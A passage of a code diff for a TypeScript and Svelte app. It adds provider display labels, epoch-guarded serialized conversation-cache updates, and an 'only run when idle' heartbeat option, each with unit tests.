+ tool: WrenchIcon,
+};
diff --git a/src/features/concurrency/logic/view-model.test.ts b/src/features/concurrency/logic/view-model.test.ts
index 6e6b770..9c557f5 100644
--- a/src/features/concurrency/logic/view-model.test.ts
+++ b/src/features/concurrency/logic/view-model.test.ts
@@ -13,6 +13,7 @@ import {
parseLimitInput,
pauseLabel,
providerFromModel,
+ providerLabel,
providerOptions,
statusLabel,
summarizeLimits,
@@ -95,7 +96,7 @@ describe("cooldownLabel", () => {
describe("providerFromModel", () => {
it("takes the part before the first slash", () => {
expect(providerFromModel("openai/gpt-4o")).toBe("openai");
- expect(providerFromModel("openai-compat/gpt-4o-mini")).toBe("openai-compat");
+ expect(providerFromModel("opencode-1/gpt-4o-mini")).toBe("opencode-1");
});
it("returns the whole string when there is no slash", () => {
expect(providerFromModel("umans")).toBe("umans");
@@ -127,6 +128,23 @@ describe("providerOptions", () => {
});
});
+describe("providerLabel", () => {
+ it("labels a numbered OpenCode provider as OpenCode #N", () => {
+ expect(providerLabel("opencode-2")).toBe("OpenCode #2");
+ expect(providerLabel("opencode-10")).toBe("OpenCode #10");
+ });
+
+ it("leaves non-OpenCode provider ids unchanged", () => {
+ expect(providerLabel("umans")).toBe("umans");
+ expect(providerLabel("anthropic")).toBe("anthropic");
+ });
+
+ it("rejects noncanonical numbered ids (label passthrough)", () => {
+ expect(providerLabel("opencode")).toBe("opencode");
+ expect(providerLabel("opencode-0")).toBe("opencode-0");
+ });
+});
+
// ── pauseLabel + formatPauseDuration ───────────────────────────────────────────
describe("formatPauseDuration", () => {
@@ -450,12 +468,12 @@ describe("normalizeConcurrencyLimits", () => {
const limits = normalizeConcurrencyLimits({
limits: [
{ providerId: "umans", limit: 4 },
- { providerId: "openai-compat", limit: 5 },
+ { providerId: "opencode-1", limit: 5 },
],
});
expect(limits).toEqual([
{ providerId: "umans", limit: 4 },
- { providerId: "openai-compat", limit: 5 },
+ { providerId: "opencode-1", limit: 5 },
]);
});
@@ -510,7 +528,7 @@ describe("normalizeConcurrencyStatus", () => {
providers: [
{ providerId: "umans", limit: 4, inFlight: 2, queued: 1, paused: false },
{
- providerId: "openai-compat",
+ providerId: "opencode-1",
limit: 5,
inFlight: 5,
queued: 3,
@@ -532,7 +550,7 @@ describe("normalizeConcurrencyStatus", () => {
});
expect(first !== undefined && !("pausedUntil" in first)).toBe(true);
expect(second).toEqual({
- providerId: "openai-compat",
+ providerId: "opencode-1",
limit: 5,
inFlight: 5,
queued: 3,
diff --git a/src/features/concurrency/logic/view-model.ts b/src/features/concurrency/logic/view-model.ts
index 8a37198..80c155c 100644
--- a/src/features/concurrency/logic/view-model.ts
+++ b/src/features/concurrency/logic/view-model.ts
@@ -170,6 +170,18 @@ export function providerOptions(
return out;
}
+/**
+ * Friendly display label for a concurrency provider id. A numbered OpenCode
+ * provider (`opencode-<n>`) renders as "OpenCode #<n>" (so "opencode-2" reads
+ * as a coherent credential identity, matching the model picker); any other id is
+ * shown unchanged. The RAW id is still what is sent to / displayed-with the
+ * backend — this only affects presentation.
+ */
+export function providerLabel(providerId: string): string {
+ const m = /^opencode-([1-9][0-9]*)$/.exec(providerId);
+ return m === null ? providerId : `OpenCode #${m[1]}`;
+}
+
// ── Status → display view ──────────────────────────────────────────────────────
const NO_LIMITS = "No limits configured";
diff --git a/src/features/concurrency/ui/ConcurrencyLimitRow.svelte b/src/features/concurrency/ui/ConcurrencyLimitRow.svelte
index bf06ac0..c8f6c8f 100644
--- a/src/features/concurrency/ui/ConcurrencyLimitRow.svelte
+++ b/src/features/concurrency/ui/ConcurrencyLimitRow.svelte
@@ -4,6 +4,7 @@
DEFAULT_COOLDOWN_MS,
parseCooldownInput,
parseLimitInput,
+ providerLabel,
statusLabel,
type Badge,
type ConcurrencyLimitView,
@@ -132,8 +133,8 @@
the buttons never wrap; tight gap + narrow inputs keep the provider name
visible; the provider shrinks via flex-1 + min-w-0). -->
<div class="flex flex-nowrap items-center gap-1">
- <span class="min-w-0 flex-1 truncate font-medium font-mono" title={limit.providerId}
- >{limit.providerId}</span
+ <span class="min-w-0 flex-1 truncate font-medium" title={limit.providerId}
+ >{providerLabel(limit.providerId)}</span
>
<input
type="text"
diff --git a/src/features/concurrency/ui/ConcurrencyView.svelte b/src/features/concurrency/ui/ConcurrencyView.svelte
index aadb8d1..2e23f5c 100644
--- a/src/features/concurrency/ui/ConcurrencyView.svelte
+++ b/src/features/concurrency/ui/ConcurrencyView.svelte
@@ -6,6 +6,7 @@
DEFAULT_COOLDOWN_MS,
parseCooldownInput,
parseLimitInput,
+ providerLabel,
providerOptions,
summarizeLimits,
viewConcurrencyLimits,
@@ -376,7 +377,7 @@
<option value="" disabled>No providers available</option>
{:else}
{#each providerOpts as provider (provider)}
- <option value={provider}>{provider}</option>
+ <option value={provider}>{providerLabel(provider)}</option>
{/each}
{/if}
</select>
diff --git a/src/features/concurrency/ui/ConcurrencyView.test.ts b/src/features/concurrency/ui/ConcurrencyView.test.ts
index a8163c2..e214692 100644
--- a/src/features/concurrency/ui/ConcurrencyView.test.ts
+++ b/src/features/concurrency/ui/ConcurrencyView.test.ts
@@ -11,8 +11,8 @@ import type {
} from "../logic/types";
import ConcurrencyView from "./ConcurrencyView.svelte";
-// Available models → provider ids are "umans", "anthropic", "openai-compat".
-const MODELS = ["umans/umans-glm-5.2", "anthropic/claude-sonnet", "openai-compat/gpt-4o"] as const;
+// Available models → provider ids are "umans", "anthropic", "opencode-1".
+const MODELS = ["umans/umans-glm-5.2", "anthropic/claude-sonnet", "opencode-1/gpt-4o"] as const;
// A status entry factory (defaults to a healthy limited provider). The new
// concurrency-fixes fields (`cooldownMs`, `autoReduced`) are always present.
diff --git a/src/features/conversation-cache/cache.test.ts b/src/features/conversation-cache/cache.test.ts
index ce1c60c..72b4e20 100644
--- a/src/features/conversation-cache/cache.test.ts
+++ b/src/features/conversation-cache/cache.test.ts
@@ -15,8 +15,16 @@ const chunk = (seq: number, role: "user" | "assistant" = "user"): StoredChunk =>
*/
function createFakeStore(): ConversationChunkStore {
const store = new Map<string, StoredChunk[]>();
+ const epochs = new Map<string, number>();
return {
+ async historyEpoch(id) {
+ return epochs.get(id);
+ },
+ async reset(id, epoch) {
+ store.delete(id);
+ epochs.set(id, epoch);
+ },
async load(conversationId) {
return store.get(conversationId) ?? [];
},
@@ -33,6 +41,7 @@ function createFakeStore(): ConversationChunkStore {
async delete(conversationId) {
store.delete(conversationId);
+ epochs.delete(conversationId);
},
async index() {
@@ -195,3 +204,48 @@ describe("cache.delete", () => {
expect(result).toEqual([]);
});
});
+
+it("serializes invalidation and rejects stale epoch commits", async () => {
+ const store = createFakeStore();
+ const cache = createConversationCache(store);
+ await store.append("c", [chunk(1)]); // Legacy rows have no trusted epoch.
+ expect(await cache.commit("c", [chunk(101)], 1)).toEqual([chunk(101)]);
+ await Promise.all([cache.commit("c", [chunk(102)], 1), cache.reset("c", 2)]);
+ expect(await cache.commit("c", [chunk(103)], 1)).toEqual([]);
+ expect(await store.historyEpoch("c")).toBe(2);
+});
+
+it("replaces a confirmed full history at a lower epoch, without trusting stale commits", async () => {
+ const store = createFakeStore();
+ const cache = createConversationCache(store);
+ await cache.commit("c", [chunk(9)], 5);
+ expect(await cache.replace("c", [chunk(1)], 1, 5)).toBe(true);
+ expect(await cache.historyEpoch("c")).toBe(1);
+ expect(await cache.load("c")).toEqual([chunk(1)]);
+ expect(await cache.commit("c", [chunk(9)], 5)).toEqual([chunk(1)]);
+ // A delayed full response started against epoch 5 must not restore it.
+ expect(await cache.replace("c", [chunk(9)], 5, 5)).toBe(false);
+ expect(await cache.load("c")).toEqual([chunk(1)]);
+});
+
+it("serializes a guarded replacement behind newer invalidation", async () => {
+ const store = createFakeStore();
+ const cache = createConversationCache(store);
+ await cache.commit("c", [chunk(9)], 5);
+ const resetting = cache.reset("c", 6);
+ const replacing = cache.replace("c", [chunk(1)], 1, 5);
+ await resetting;
+ expect(await replacing).toBe(false);
+ expect(await cache.historyEpoch("c")).toBe(6);
+ expect(await cache.load("c")).toEqual([]);
+});
+
+it("allows an empty replacement and a legacy cache only if its observed epoch still matches", async () => {
+ const store = createFakeStore();
+ const cache = createConversationCache(store);
+ await store.append("c", [chunk(9)]);
+ expect(await cache.replace("c", [], 0, undefined)).toBe(true);
+ expect(await cache.sinceSeq("c")).toBe(0);
+ expect(await cache.historyEpoch("c")).toBe(0);
+ expect(await cache.replace("c", [chunk(9)], 2, undefined)).toBe(false);
+});
diff --git a/src/features/conversation-cache/cache.ts b/src/features/conversation-cache/cache.ts
index 4953944..600a6e6 100644
--- a/src/features/conversation-cache/cache.ts
+++ b/src/features/conversation-cache/cache.ts
@@ -3,6 +3,22 @@ import { nextSinceSeq, reconcileCache, selectEvictions } from "./logic";
import type { ConversationChunkStore } from "./types";
export interface ConversationCache {
+ historyEpoch(conversationId: string): Promise<number | undefined>;
+ reset(conversationId: string, historyEpoch: number): Promise<void>;
+
+ /**
+ * Replace from a fresh full-history response, including an epoch decrease.
+ * Only succeeds if the cache still has the epoch observed BEFORE that request.
+ * Unlike monotonic reset/commit, this is for confirmed server authority, not
+ * broadcasts or cursor/backfill responses. False means the response is stale.
+ */
+ replace(
+ conversationId: string,
+ incoming: readonly StoredChunk[],
+ historyEpoch: number,
+ expectedEpoch: number | undefined,
+ ): Promise<boolean>;
+
/** Load all cached chunks for a conversation. */
load(conversationId: string): Promise<readonly StoredChunk[]>;
@@ -10,7 +26,11 @@ export interface ConversationCache {
* Load + reconcile + append new chunks.
* Returns the merged cache (the new authoritative cache for this conversation).
*/
- commit(conversationId: string, incoming: readonly StoredChunk[]): Promise<readonly StoredChunk[]>;
+ commit(
+ conversationId: string,
+ incoming: readonly StoredChunk[],
+ historyEpoch?: number,
+ ): Promise<readonly StoredChunk[]>;
/** Return the `?sinceSeq=` cursor for the next incremental sync. */
sinceSeq(conversationId: string): Promise<number>;
@@ -43,21 +63,61 @@ export function createConversationCache(
): ConversationCache {
const maxChunks = opts?.maxChunks ?? DEFAULT_MAX_CHUNKS;
+ // Serialize mutation per conversation, including invalidation, so an old fetch
+ // cannot resurrect rows after a compaction broadcast has invalidated them.
+ const pending = new Map<string, Promise<unknown>>();
+ function exclusive<T>(id: string, run: () => Promise<T>): Promise<T> {
+ const next = (pending.get(id) ?? Promise.resolve()).catch(() => {}).then(run);
+ pending.set(id, next);
+ void next
+ .finally(() => {
+ if (pending.get(id) === next) pending.delete(id);
+ })
+ .catch(() => {});
+ return next;
+ }
return {
+ historyEpoch: async (id) => {
+ await pending.get(id);
+ return store.historyEpoch(id);
+ },
+ reset: (id, epoch) =>
+ exclusive(id, async () => {
+ const current = await store.historyEpoch(id);
+ if (current === undefined || current < epoch) await store.reset(id, epoch);
+ }),
+ replace: (id, incoming, epoch, expectedEpoch) =>
+ exclusive(id, async () => {
+ if ((await store.historyEpoch(id)) !== expectedEpoch) return false;
+ await store.reset(id, epoch);
+ if (incoming.length > 0) await store.append(id, incoming);
+ return true;
+ }),
async load(conversationId) {
+ await pending.get(conversationId);
return store.load(conversationId);
},
- async commit(conversationId, incoming) {
- const cached = await store.load(conversationId);
- const { merged, toAppend } = reconcileCache(cached, incoming);
- if (toAppend.length > 0) {
- await store.append(conversationId, toAppend);
- }
- return merged;
+ commit(conversationId, incoming, epoch) {
+ return exclusive(conversationId, async () => {
+ if (epoch !== undefined) {
+ const current = await store.historyEpoch(conversationId);
+ // Once an epoch is known, only explicit invalidation or guarded
+ // full-history replacement may change it (in either direction).
+ if (current !== undefined && current !== epoch) return store.load(conversationId);
+ if (current !== epoch) await store.reset(conversationId, epoch);
+ }
+ const cached = await store.load(conversationId);
+ const { merged, toAppend } = reconcileCache(cached, incoming);
+ if (toAppend.length > 0) {
+ await store.append(conversationId, toAppend);
+ }
+ return merged;
+ });
},
async sinceSeq(conversationId) {
+ await pending.get(conversationId);
const cached = await store.load(conversationId);
return nextSinceSeq(cached);
},
@@ -72,7 +132,7 @@ export function createConversationCache(
},
async delete(conversationId) {
- await store.delete(conversationId);
+ await exclusive(conversationId, () => store.delete(conversationId));
},
};
}
diff --git a/src/features/conversation-cache/logic.test.ts b/src/features/conversation-cache/logic.test.ts
index 880c32e..7a31783 100644
--- a/src/features/conversation-cache/logic.test.ts
+++ b/src/features/conversation-cache/logic.test.ts
@@ -138,3 +138,26 @@ describe("selectEvictions", () => {
expect(result).toEqual(["b"]);
});
});
+
+describe("reconcileCache — turnId provenance upgrade", () => {
+ it("upgrades a cached row lacking turnId when the incoming copy carries it", () => {
+ const cached: StoredChunk[] = [{ seq: 1, role: "user", chunk: { type: "text", text: "hi" } }];
+ const incoming: StoredChunk[] = [
+ { seq: 1, role: "user", chunk: { type: "text", text: "hi" }, turnId: "t1" },
+ { seq: 2, role: "assistant", chunk: { type: "text", text: "yo" }, turnId: "t1" },
+ ];
+ const { merged, toAppend } = reconcileCache(cached, incoming);
+ expect(merged.map((c) => c.turnId)).toEqual(["t1", "t1"]);
+ expect(toAppend.map((c) => c.seq)).toEqual([1, 2]);
+ });
+
+ it("does not rewrite a cached row that already has a turnId", () => {
+ const cached: StoredChunk[] = [
+ { seq: 1, role: "user", chunk: { type: "text", text: "hi" }, turnId: "t1" },
+ ];
+ const { toAppend } = reconcileCache(cached, [
+ { seq: 1, role: "user", chunk: { type: "text", text: "hi" }, turnId: "t1" },
+ ]);
+ expect(toAppend).toEqual([]);
+ });
+});
diff --git a/src/features/conversation-cache/logic.ts b/src/features/conversation-cache/logic.ts
index 3cb23e2..344a061 100644
--- a/src/features/conversation-cache/logic.ts
+++ b/src/features/conversation-cache/logic.ts
@@ -5,27 +5,35 @@ import type { ConversationCacheIndexEntry, ReconcileResult } from "./types";
* Merge authoritative seq-keyed chunks with cached chunks.
*
* Deduplicates by `seq`, produces seq-monotonic order.
- * `toAppend` = the incoming chunks whose `seq` is not already in `cached`
- * (exactly what to persist). Idempotent; tolerant of out-of-order/overlapping `incoming`.
+ * `toAppend` = the incoming chunks whose `seq` is not already in `cached`,
+ * plus cached rows UPGRADED with a `turnId` the incoming copy carries and the
+ * cached copy lacks (exactly what to persist — the store upserts by seq). Idempotent; tolerant of out-of-order/overlapping `incoming`.
*/
export function reconcileCache(
cached: readonly StoredChunk[],
incoming: readonly StoredChunk[],
): ReconcileResult {
- const seen = new Set<number>();
+ const bySeq = new Map<number, StoredChunk>();
for (const chunk of cached) {
- seen.add(chunk.seq);
+ bySeq.set(chunk.seq, chunk);
}
const toAppend: StoredChunk[] = [];
for (const chunk of incoming) {
- if (!seen.has(chunk.seq)) {
+ const have = bySeq.get(chunk.seq);
+ if (have === undefined) {
toAppend.push(chunk);
- seen.add(chunk.seq);
+ bySeq.set(chunk.seq, chunk);
+ } else if (have.turnId === undefined && chunk.turnId !== undefined) {
+ // Upgrade a cached row written before the server stamped `turnId`
+ // (seqs are immutable, so only this provenance field can differ).
+ const upgraded = { ...have, turnId: chunk.turnId };
+ toAppend.push(upgraded);
+ bySeq.set(chunk.seq, upgraded);
}
}
- const merged = [...cached, ...toAppend].sort((a, b) => a.seq - b.seq);
+ const merged = [...bySeq.values()].sort((a, b) => a.seq - b.seq);
return { merged, toAppend };
}
diff --git a/src/features/conversation-cache/types.ts b/src/features/conversation-cache/types.ts
index 345ab71..a273f34 100644
--- a/src/features/conversation-cache/types.ts
+++ b/src/features/conversation-cache/types.ts
@@ -17,6 +17,10 @@ export interface ConversationCacheIndexEntry {
* All methods MUST be idempotent on `seq`: re-appending an existing seq is a no-op.
*/
export interface ConversationChunkStore {
+ historyEpoch(conversationId: string): Promise<number | undefined>;
+ /** Atomically replace cached rows with empty history at this epoch. */
+ reset(conversationId: string, historyEpoch: number): Promise<void>;
+
/** Load all cached chunks for a conversation, seq-ordered. Returns [] if absent. */
load(conversationId: string): Promise<readonly StoredChunk[]>;
diff --git a/src/features/heartbeat/logic/types.ts b/src/features/heartbeat/logic/types.ts
index 3d3d525..83cec74 100644
--- a/src/features/heartbeat/logic/types.ts
+++ b/src/features/heartbeat/logic/types.ts
@@ -26,6 +26,15 @@ export type HeartbeatRunStatus = "running" | "completed" | "stopped";
export interface HeartbeatConfig {
/** Whether the autonomous loop is enabled (running on the interval). */
readonly enabled: boolean;
+ /**
+ * When true (the default), the heartbeat SKIPS a fire whenever the configured
+ * workspace has any active agents (a conversation whose persisted status is
+ * `"active"` or `"queued"`) — it stays quiet while the user is actively
+ * working and only fires when the workspace is idle. When false, the heartbeat
+ * fires unconditionally on every interval. The heartbeat-spawned conversation
+ * lives in a dedicated workspace, so an in-flight run never self-blocks.
+ */
+ readonly inactiveOnly: boolean;
readonly systemPrompt: string;
readonly taskPrompt: string;
/** Minutes between runs. */
@@ -46,6 +55,7 @@ export interface HeartbeatConfig {
*/
export interface HeartbeatConfigPatch {
readonly enabled?: boolean;
+ readonly inactiveOnly?: boolean;
readonly systemPrompt?: string;
readonly taskPrompt?: string;
readonly intervalMinutes?: number;
diff --git a/src/features/heartbeat/logic/view-model.test.ts b/src/features/heartbeat/logic/view-model.test.ts
index aca0aa6..c9ef118 100644
--- a/src/features/heartbeat/logic/view-model.test.ts
+++ b/src/features/heartbeat/logic/view-model.test.ts
@@ -39,6 +39,7 @@ const run = (over: Partial<HeartbeatRun> = {}): HeartbeatRun => ({
const config = (over: Partial<HeartbeatConfig> = {}): HeartbeatConfig => ({
enabled: false,
+ inactiveOnly: true,
systemPrompt: "be helpful",
taskPrompt: "check status",
intervalMinutes: 15,
@@ -254,6 +255,40 @@ describe("config form", () => {
const f = formFromConfig(c);
expect(formDiffers(f, c)).toBe(false); // null resolves to "high" == form
});
+
+ it("emptyForm defaults inactiveOnly to true (on by default)", () => {
+ expect(emptyForm().inactiveOnly).toBe(true);
+ });
+
+ it("formFromConfig carries inactiveOnly through verbatim", () => {
+ expect(formFromConfig(config({ inactiveOnly: true })).inactiveOnly).toBe(true);
+ expect(formFromConfig(config({ inactiveOnly: false })).inactiveOnly).toBe(false);
+ });
+
+ it("formFromConfig coerces a missing/malformed inactiveOnly to the default (true)", () => {
+ // A legacy config (undefined) or a non-boolean is read as ON (true) — matches
+ // normalizeHeartbeatConfig's default and the backend's "on by default".
+ const f = formFromConfig(config({ inactiveOnly: undefined as unknown as boolean }));
+ expect(f.inactiveOnly).toBe(true);
+ });
+
+ it("patchFromForm carries inactiveOnly", () => {
+ expect(patchFromForm(formFromConfig(config({ inactiveOnly: false }))).inactiveOnly).toBe(false);
+ expect(patchFromForm(formFromConfig(config({ inactiveOnly: true }))).inactiveOnly).toBe(true);
+ });
+
+ it("formDiffers is true after toggling inactiveOnly", () => {
+ const c = config({ inactiveOnly: true });
+ const f = formFromConfig(c);
+ f.inactiveOnly = false;
+ expect(formDiffers(f, c)).toBe(true);
+ });
+
+ it("formDiffers is false for a form seeded from the config (inactiveOnly unchanged)", () => {
+ const c = config({ inactiveOnly: false });
+ const f = formFromConfig(c);
+ expect(formDiffers(f, c)).toBe(false);
+ });
});
describe("system-prompt inheritance (override ⇄ global default)", () => {
@@ -321,6 +356,7 @@ describe("normalizeHeartbeatConfig", () => {
it("passes through a well-formed config", () => {
const c = normalizeHeartbeatConfig({
enabled: true,
+ inactiveOnly: false,
systemPrompt: "sys",
taskPrompt: "task",
intervalMinutes: 20,
@@ -329,6 +365,7 @@ describe("normalizeHeartbeatConfig", () => {
});
expect(c).toEqual({
enabled: true,
+ inactiveOnly: false,
systemPrompt: "sys",
taskPrompt: "task",
intervalMinutes: 20,
@@ -339,10 +376,12 @@ describe("normalizeHeartbeatConfig", () => {
it("coerces a malformed body safely (never throws, never undefined)", () => {
const c = normalizeHeartbeatConfig({
enabled: "yes",
+ inactiveOnly: "yes",
intervalMinutes: -3,
reasoningEffort: "bogus",
});
expect(c.enabled).toBe(false);
+ expect(c.inactiveOnly).toBe(true); // non-boolean → default ON
expect(c.intervalMinutes).toBe(1);
expect(c.reasoningEffort).toBeNull();
expect(c.systemPrompt).toBe("");
@@ -355,12 +394,30 @@ describe("normalizeHeartbeatConfig", () => {
it("handles null / non-object input", () => {
const c = normalizeHeartbeatConfig(null);
expect(c.enabled).toBe(false);
+ expect(c.inactiveOnly).toBe(true); // default ON for an absent config
expect(c.intervalMinutes).toBe(DEFAULT_INTERVAL_MINUTES);
expect(c.model).toBe("");
});
it("clamps a huge interval", () => {
expect(normalizeHeartbeatConfig({ intervalMinutes: 99999 }).intervalMinutes).toBe(1440);
});
+ it("inactiveOnly defaults to true when absent (legacy config → on by default)", () => {
+ // A config persisted by an older backend (no inactiveOnly field) reads back
+ // as true — the feature is ON by default for everyone.
+ expect(normalizeHeartbeatConfig({}).inactiveOnly).toBe(true);
+ expect(normalizeHeartbeatConfig({ inactiveOnly: undefined }).inactiveOnly).toBe(true);
+ });
+ it("inactiveOnly passes through an explicit false (opt-out)", () => {
+ expect(normalizeHeartbeatConfig({ inactiveOnly: false }).inactiveOnly).toBe(false);
+ expect(normalizeHeartbeatConfig({ inactiveOnly: true }).inactiveOnly).toBe(true);
+ });
+ it("inactiveOnly treats only an explicit boolean false as false (not 0, not null)", () => {
+ // The wire contract requires a JSON boolean; a non-boolean (0, null, "no")
+ // is treated as the default (true) rather than silently misbehaving.
+ expect(normalizeHeartbeatConfig({ inactiveOnly: 0 }).inactiveOnly).toBe(true);
+ expect(normalizeHeartbeatConfig({ inactiveOnly: null }).inactiveOnly).toBe(true);
+ expect(normalizeHeartbeatConfig({ inactiveOnly: "false" }).inactiveOnly).toBe(true);
+ });
});
describe("normalizeHeartbeatRuns", () => {
diff --git a/src/features/heartbeat/logic/view-model.ts b/src/features/heartbeat/logic/view-model.ts
index e91febd..4a5ba7f 100644
--- a/src/features/heartbeat/logic/view-model.ts
+++ b/src/features/heartbeat/logic/view-model.ts
@@ -220,6 +220,7 @@ export function approximateNextRunEpoch(
*/
export interface HeartbeatFormState {
enabled: boolean;
+ inactiveOnly: boolean;
systemPrompt: string;
taskPrompt: string;
intervalHours: number;
@@ -254,6 +255,7 @@ export function formFromConfig(config: HeartbeatConfig): HeartbeatFormState {
const { hours, minutes } = splitInterval(config.intervalMinutes);
return {
enabled: config.enabled === true,
+ inactiveOnly: config.inactiveOnly !== false,
systemPrompt: config.systemPrompt ?? "",
taskPrompt: config.taskPrompt ?? "",
intervalHours: hours,
@@ -268,6 +270,7 @@ export function emptyForm(): HeartbeatFormState {
const { hours, minutes } = splitInterval(DEFAULT_INTERVAL_MINUTES);
return {
enabled: false,
+ inactiveOnly: true,
systemPrompt: "",
taskPrompt: "",
intervalHours: hours,
@@ -295,6 +298,7 @@ export function normalizeInterval(value: unknown): number {
export function patchFromForm(form: HeartbeatFormState): HeartbeatConfigPatch {
return {
enabled: form.enabled,
+ inactiveOnly: form.inactiveOnly,
systemPrompt: form.systemPrompt,
taskPrompt: form.taskPrompt,
intervalMinutes: joinInterval(form.intervalHours, form.intervalMinutes),
@@ -308,6 +312,7 @@ export function formDiffers(form: HeartbeatFormState, config: HeartbeatConfig):
const { hours, minutes } = splitInterval(config.intervalMinutes);
return (
form.enabled !== config.enabled ||
+ form.inactiveOnly !== config.inactiveOnly ||
form.systemPrompt !== (config.systemPrompt ?? "") ||
form.taskPrompt !== (config.taskPrompt ?? "") ||
form.intervalHours !== hours ||
@@ -390,6 +395,10 @@ export function normalizeHeartbeatConfig(data: unknown): HeartbeatConfig {
const effort = d.reasoningEffort;
return {
enabled: d.enabled === true,
+ // Default ON (true): a missing/falsey-but-not-false field (a legacy config
+ // persisted before the field shipped) reads back as inactiveOnly: true —
+ // the feature is on by default for everyone. Only an explicit `false` opts out.
+ inactiveOnly: d.inactiveOnly !== false,
systemPrompt: typeof d.systemPrompt === "string" ? d.systemPrompt : "",
taskPrompt: typeof d.taskPrompt === "string" ? d.taskPrompt : "",
intervalMinutes: normalizeInterval(d.intervalMinutes),
diff --git a/src/features/heartbeat/ui/HeartbeatView.svelte b/src/features/heartbeat/ui/HeartbeatView.svelte
index 5f262f8..7f95c40 100644
--- a/src/features/heartbeat/ui/HeartbeatView.svelte
+++ b/src/features/heartbeat/ui/HeartbeatView.svelte
@@ -140,6 +140,31 @@
}
}
+ // The inactive-only checkbox is a save-on-change control (like the enable
+ // toggle): a partial PUT { inactiveOnly } — no need to round-trip the rest
+ // of the form. The heartbeat then skips a fire whenever the workspace has
+ // active agents (a conversation whose status is "active" or "queued").
+ async function handleToggleInactiveOnly(): Promise<void> {
+ if (saving) return;
+ const next = !form.inactiveOnly;
+ form = { ...form, inactiveOnly: next };
+ saving = true;
+ saveError = null;
+ justSaved = false;
+ const result = await saveConfig({ inactiveOnly: next });
+ saving = false;
+ if (result === null) return;
+ if (result.ok) {
+ form = formFromConfig(result.config);
+ loadedConfig = formFromConfig(result.config);
+ justSaved = true;
+ } else {
+ saveError = result.error;
+ // Revert the checkbox to the last-known state.
+ form = { ...form, inactiveOnly: loadedConfig.inactiveOnly };
+ }
+ }
+
// ── Runs list (polls while mounted) ───────────────────────────────────────
let runs = $state<readonly HeartbeatRunView[]>([]);
/** The raw backend runs (carry `triggeredAt`), kept for the next-run
@@ -323,6 +348,27 @@
{#if configError}
<p class="text-xs text-error">{configError}</p>
{:else}
+ <!-- Inactive-only (skip fires while the workspace has active agents) -->
+ <section class="flex flex-col gap-1">
+ <label class="flex items-start gap-2 text-sm">
+ <input
+ type="checkbox"
+ class="checkbox checkbox-sm checkbox-primary mt-0.5"
+ checked={form.inactiveOnly}
+ disabled={saving || configLoading}
+ onchange={handleToggleInactiveOnly}
+ aria-label="Only run the heartbeat when the workspace is idle"
+ />
+ <span class="flex flex-col gap-0.5">
+ <span>Only run when idle</span>
+ <span class="text-xs opacity-50">
+ Skip heartbeat fires while agents are active in this workspace. When off, the
+ heartbeat runs on every interval regardless of activity.
+ </span>
+ </span>
+ </label>
+ </section>
+
<!-- Prompts (open the full-page editor) -->
<section class="flex flex-col gap-1">
<span class="text-xs font-semibold uppercase opacity-60">Prompts</span>
diff --git a/src/features/heartbeat/ui/HeartbeatView.test.ts b/src/features/heartbeat/ui/HeartbeatView.test.ts
new file mode 100644
index 0000000..89eeee3
--- /dev/null
+++ b/src/features/heartbeat/ui/HeartbeatView.test.ts
@@ -0,0 +1,203 @@
+import { render, screen } from "@testing-library/svelte";
+import userEvent from "@testing-library/user-event";
+import { afterEach, describe, expect, it, vi } from "vitest";
+import type { LoadSystemPrompt, LoadSystemPromptVariables } from "../../system-prompt";
+import type {
+ HeartbeatConfig,
+ HeartbeatConfigPatch,
+ HeartbeatConfigResult,
+ HeartbeatNextRunResult,
+ HeartbeatStopResult,
+ LoadHeartbeatConfig,
+ LoadHeartbeatNextRun,
+ LoadHeartbeatRuns,
+ SaveHeartbeatConfig,
+ StopHeartbeatRun,
+} from "../logic/types";
+import HeartbeatView from "./HeartbeatView.svelte";
+
+// ── Fakes for the injected ports ─────────────────────────────────────────────
+// Only the OUTERMOST edges are faked (the save/load ports); no sibling module is
+// mocked. Mirrors the PromptEditor test's fake-port pattern.
+
+function makeConfig(over: Partial<HeartbeatConfig> = {}): HeartbeatConfig {
+ return {
+ enabled: false,
+ inactiveOnly: true,
+ systemPrompt: "",
+ taskPrompt: "",
+ intervalMinutes: 30,
+ model: "",
+ reasoningEffort: null,
+ ...over,
+ };
+}
+
+/** A capturing saveConfig that echoes a merged config (so the form re-seeds). */
+function fakeSaveConfig(initial: HeartbeatConfig): {
+ calls: HeartbeatConfigPatch[];
+ impl: SaveHeartbeatConfig;
+} {
+ const calls: HeartbeatConfigPatch[] = [];
+ let current = initial;
+ const impl: SaveHeartbeatConfig = async (patch) => {
+ calls.push(patch);
+ // Echo the merged config so the component re-seeds from the server response.
+ current = { ...current, ...patch };
+ return { ok: true, config: current } satisfies HeartbeatConfigResult;
+ };
+ return { calls, impl };
+}
+
+function fakeLoadConfig(config: HeartbeatConfig): LoadHeartbeatConfig {
+ return vi.fn(async () => ({ ok: true, config }) as const);
+}
+
+function fakeLoadRuns(): LoadHeartbeatRuns {
+ return vi.fn(async () => ({ ok: true, runs: [] }) as const);
+}
+
+function fakeStopRun(): StopHeartbeatRun {
+ return vi.fn(async () => ({ ok: true }) as const satisfies HeartbeatStopResult);
+}
+
+function fakeLoadNextRun(): LoadHeartbeatNextRun {
+ // No scheduled run (heartbeat disabled in the default config) → no countdown.
+ return vi.fn(
+ async () => ({ ok: true, nextRunAt: null }) as const satisfies HeartbeatNextRunResult,
+ );
+}
+
+function fakeLoadVariables(): LoadSystemPromptVariables {
+ return vi.fn(async () => ({ ok: true, variables: [] }) as const);
+}
+
+function fakeLoadDefaultPrompt(): LoadSystemPrompt {
+ return vi.fn(async () => ({ ok: true, template: "" }) as const);
+}
+
+const baseProps = (overrides: Record<string, unknown> = {}) => ({
+ models: [] as readonly string[],
+ loadConfig: fakeLoadConfig(makeConfig()),
+ saveConfig: fakeSaveConfig(makeConfig()).impl,
+ loadVariables: fakeLoadVariables(),
+ loadDefaultPrompt: fakeLoadDefaultPrompt(),
+ loadRuns: fakeLoadRuns(),
+ stopRun: fakeStopRun(),
+ loadNextRun: fakeLoadNextRun(),
+ onOpenRun: vi.fn(),
+ ...overrides,
+});
+
+// HeartbeatView sets up polling intervals (runs + next-run + clock) on mount.
+// Clear any stray timers between tests so a later test never hangs on a leaked
+// interval (the $effect cleanup clears them on unmount; this is belt+suspenders).
+afterEach(() => {
+ vi.clearAllTimers();
+});
+
+describe("HeartbeatView — inactive-only checkbox", () => {
+ it("renders checked when the loaded config has inactiveOnly: true (the default)", async () => {
+ const loadConfig = fakeLoadConfig(makeConfig({ inactiveOnly: true }));
+ render(HeartbeatView, {
+ props: baseProps({ loadConfig }),
+ });
+
+ const checkbox = await screen.findByLabelText(
+ "Only run the heartbeat when the workspace is idle",
